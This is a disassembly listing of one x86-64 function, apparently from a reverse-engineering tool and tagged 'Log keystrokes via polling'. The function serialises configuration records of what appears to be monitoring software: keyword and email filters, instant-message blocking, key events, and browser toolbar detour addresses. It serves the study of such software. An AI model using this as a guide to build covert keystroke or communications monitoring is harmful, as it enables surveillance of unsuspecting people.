Function at 0x140017d90
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov rax, qword [0x1400cd4d0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov r14d, r9d
mov rdi, r8
mov qword [rsp + 0x48], rdx
mov rbx, rcx
mov qword [rsp + 0x50], rdx
mov r15, qword [rsp + 0x120]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x38], 1
mov rax, qword [0x1400cdfc0]
mov qword [rsp + 0x30], rax
mov edx, r9d
call fcn.14001c5a0
test eax, eax
jne 0x140017e14
lea rcx, [rsp + 0x30]
call fcn.140054a40
xor eax, eax
jmp 0x1400188ef
lea rdx, str._lst_name_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea rdx, str.__type_
lea rcx, [rsp + 0x30]
call fcn.140054d20
cmp r14d, 0x2000
jg 0x140017ead
je 0x140017ea4
cmp r14d, 0x1000
je 0x140017e85
jle case.default.0x140017ed1
cmp r14d, 0x1003
jle 0x140017e7c
cmp r14d, 0x1004
jne case.default.0x140017ed1
lea rdx, str.InternalWMRecord
jmp 0x140017e8c
lea rdx, str.ScheduleTime
jmp 0x140017e8c
lea rdx, str.KeywordRecord
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea r12, [0x140000000]
xor esi, esi
jmp 0x140017f77
lea r12, [0x140000000]
jmp case.0x140017ed1.8195
lea eax, [r14 - 0x2001]
cmp eax, 0x13
ja case.default.0x140017ed1
cdqe
lea r12, [0x140000000]
mov eax, dword [r12 + rax*4 + 0x18914]
add rax, r12
jmp rax
lea rdx, str.char__
lea rcx, [rsp + 0x30]
call fcn.140054d20
xor esi, esi
jmp 0x140017f77
lea rdx, str.BlockIMRecord
lea rcx, [rsp + 0x30]
call fcn.140054d20
xor esi, esi
jmp 0x140017f77
lea rdx, str.PortRange
lea rcx, [rsp + 0x30]
call fcn.140054d20
xor esi, esi
jmp 0x140017f77
lea rdx, str.KeyEventDef
lea rcx, [rsp + 0x30]
call fcn.140054d20
jmp 0x140017e9d
lea rdx, str.EmailRule
lea rcx, [rsp + 0x30]
call fcn.140054d20
jmp 0x140017e9d
lea rdx, str.EmailLastRecvTime
lea rcx, [rsp + 0x30]
call fcn.140054d20
jmp 0x140017e9d
lea rdx, str.ChromeSigs
lea rcx, [rsp + 0x30]
call fcn.140054d20
jmp case.0x140017ed1.8194
lea r12, [0x140000000]
xor esi, esi
mov dword [rsp + 0x38], esi
lea rdx, [0x140086004]
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rcx, r15
call fcn.1400533c0
nop
mov rcx, r15
call fcn.140053780
mov r13, rax
nop dword [rax]
test r13, r13
je 0x1400188a9
mov rcx, r13
call fcn.140053770
mov rdi, rax
test rax, rax
je case.0x14001827d.8194
cmp r14d, 0x2000
jg 0x140018260
je case.0x14001827d.8195
cmp r14d, 0x1000
je 0x140018201
jle case.0x14001827d.8194
cmp r14d, 0x1003
jle 0x1400180da
cmp r14d, 0x1004
jne case.0x14001827d.8194
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea rdx, [0x1400b1a18]
mov rcx, rdi
call fcn.140029390
mov r15, rax
test rax, rax
je 0x1400180bf
mov byte [rax], 0
mov r10, qword [rbx]
mov qword [rsp + 0x20], rsi
mov r9, rdi
lea r8, str.Package
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [r15], 0x2c
lea rdx, [0x1400b1a18]
lea rcx, [r15 + 1]
call fcn.140029390
mov rdi, rax
test rax, rax
je 0x1400180bf
mov byte [rax], 0
cmp byte [r15 + 1], 0
je 0x140018095
mov r10, qword [rbx]
mov qword [rsp + 0x20], rsi
lea r9, [r15 + 1]
lea r8, [0x140087168]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [rdi], 0x2c
cmp byte [rdi + 1], 0
je 0x1400180bf
mov rax, qword [rbx]
mov qword [rsp + 0x20], rsi
lea r9, [rdi + 1]
lea r8, str.Host
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov r15, qword [rsp + 0x40]
jmp case.0x14001827d.8194
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea rdx, str._struct_name_Start__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 0xb
and r9d, 7
lea r8, [0x1400870f0]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea rdx, str._struct_name_Stop__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 0xb
and r9d, 7
lea r8, [0x1400870f0]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
jmp 0x140018885
mov rdi, qword [rax + 8]
test rdi, rdi
je case.0x14001827d.8194
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.WholeWord
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 4]
mov qword [rsp + 0x20], rsi
lea r8, [0x140084690]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140018885
lea eax, [r14 - 0x2001]
cmp eax, 0x13
ja case.0x14001827d.8194
cdqe
mov ecx, dword [r12 + rax*4 + 0x18964]
add rcx, r12
jmp rcx
mov rax, qword [rbx]
mov qword [rsp + 0x20], rsi
mov r9, rdi
lea r8, [0x1400b1988]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp case.0x14001827d.8194
mov rdi, qword [rdi + 8]
test rdi, rdi
je case.0x14001827d.8194
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.imFlags
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 4]
mov qword [rsp + 0x20], rsi
lea r8, str.szName
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140018885
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.From
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, [0x140084c2c]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 8]
lea r8, str.SelectID
jmp 0x140018874
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.vKey
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.lParam
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
lea r8d, [rax + 0x40]
lea rdx, [rsp + 0x70]
mov ecx, dword [rdi + 4]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov rax, qword [rbx]
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x70]
lea r8, str.Description
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140018885
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov qword [rsp + 0x20], 0x100
mov r9, rdi
lea r8, str.Name
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x100]
lea r8, str.Record
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x104]
lea r8, str.Sent
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x108]
lea r8, str.Received
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10c]
lea r8, str.SMTPPOP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x110]
lea r8, str.WebMail
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x114]
lea r8, [0x140084638]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x118]
lea r8, str.MAPI
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x11c]
lea r8, str.IMAP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x124]
lea r8, str.PlainText
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x128]
lea r8, str.HTML
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x12c]
lea r8, [0x1400841e8]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x130]
lea r8, [0x140084200]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x134]
lea r8, str.NoAttachments
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x138]
lea r8, str.AttachmentFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x13c]
lea r8, str.AttachmentFilterSize
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x140]
lea r8, str.ToFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x144]
mov qword [rsp + 0x20], 0x100
lea r8, str.ToFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x244]
lea r8, str.FromFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x248]
mov qword [rsp + 0x20], 0x100
lea r8, str.FromFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x348]
lea r8, str.SubjectFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x34c]
mov qword [rsp + 0x20], 0x100
lea r8, str.SubjectFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x44c]
lea r8, str.BodyFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x450]
mov qword [rsp + 0x20], 0x100
lea r8, str.BodyFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140018885
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.RcvdTimeLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.RcvdTimeHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 8]
mov qword [rsp + 0x20], 0x32
lea r8, str.MSG_Owner
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140018885
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.ProductVersionMS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.ProductVersionLS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 8]
lea r8, str.NameOffsetFromThis
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10]
lea r8, str.ShouldDisplayInExtensionSettingsAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x14]
lea r8, str.ShouldDisplayInExtensionSettingsAddressHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x18]
lea r8, str.ToolbarFunctionToDetourAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 0x1c]
lea r8, str.ToolbarFunctionToDetourAddressHigh
mov rax, qword [rbx]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140054d20
mov rdx, r13
mov rcx, r15
call fcn.1400537e0
mov r13, rax
jmp 0x140017fa0
mov rbx, qword [rsp + 0x48]
jmp 0x1400188ba
mov rcx, r15
call fcn.1400538c0
lea rdx, str.__lst_
lea rcx, [rsp + 0x30]
call fcn.140054d20
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140054cc0
nop
lea rcx, [rsp + 0x30]
call fcn.140054a40
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140026f00
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret